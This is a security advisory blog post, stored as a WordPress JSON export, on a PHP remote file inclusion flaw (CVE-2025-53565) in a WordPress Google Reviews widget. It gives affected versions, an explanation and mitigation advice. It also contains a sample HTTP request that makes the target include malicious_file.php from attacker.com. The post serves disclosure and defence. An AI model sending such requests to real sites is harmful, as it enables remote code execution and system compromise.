{"id":71733,"date":"2025-09-06T08:00:19","date_gmt":"2025-09-06T08:00:19","guid":{"rendered":""},"modified":"2025-09-10T11:37:39","modified_gmt":"2025-09-10T17:37:39","slug":"cve-2025-53565-php-remote-file-inclusion-vulnerability-in-radiustheme-widget-for-google-reviews","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53565-php-remote-file-inclusion-vulnerability-in-radiustheme-widget-for-google-reviews\/","title":{"rendered":"CVE-2025-53565: PHP Remote File Inclusion Vulnerability in RadiusTheme Widget for Google Reviews<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

Today, we’re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. This technical flaw allows an attacker to include remote PHP files, potentially leading to system<\/a> compromise or data leakage. Therefore, understanding this vulnerability and how to mitigate its impact is critical<\/a> for system administrators and web developers alike.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53565
\nSeverity: High (8.1 CVSS v3 Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

RadiusTheme Widget for Google<\/a> Reviews | n\/a through 1.0.15<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The PHP Remote File Inclusion vulnerability is a common type of vulnerability that occurs when a PHP script<\/a> uses user-controlled data without proper validation in a ‘require’ or ‘include’ function. This can allow an attacker to inject<\/a> a file from a remote server, which then gets executed in the context of the attacked application. In the case of CVE-2025-53565, the vulnerability resides in the RadiusTheme Widget for Google<\/a> Reviews, which fails to properly validate the filename for the ‘include’ statement.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how this vulnerability might be exploited using a malicious URL:<\/a><\/p>\n

GET \/vulnerable_widget.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the attacker tricks the application into requesting a malicious PHP file<\/a> (‘malicious_file.php’) from the attacker’s server (‘attacker.com’). The server then includes this file in its response, which is subsequently executed by the PHP engine on the target server, potentially leading to system<\/a> compromise or data leakage.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To protect your systems from this vulnerability<\/a>, apply the vendor patch as soon as it becomes available. In the meantime, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These can be configured to block or alert on any attempts to exploit this vulnerability<\/a>. Also, always remember to validate and sanitize all user inputs<\/a>, especially those used in file include statements, to prevent such vulnerabilities in the first place.<\/p>\n","protected":false},"excerpt":{"rendered":"
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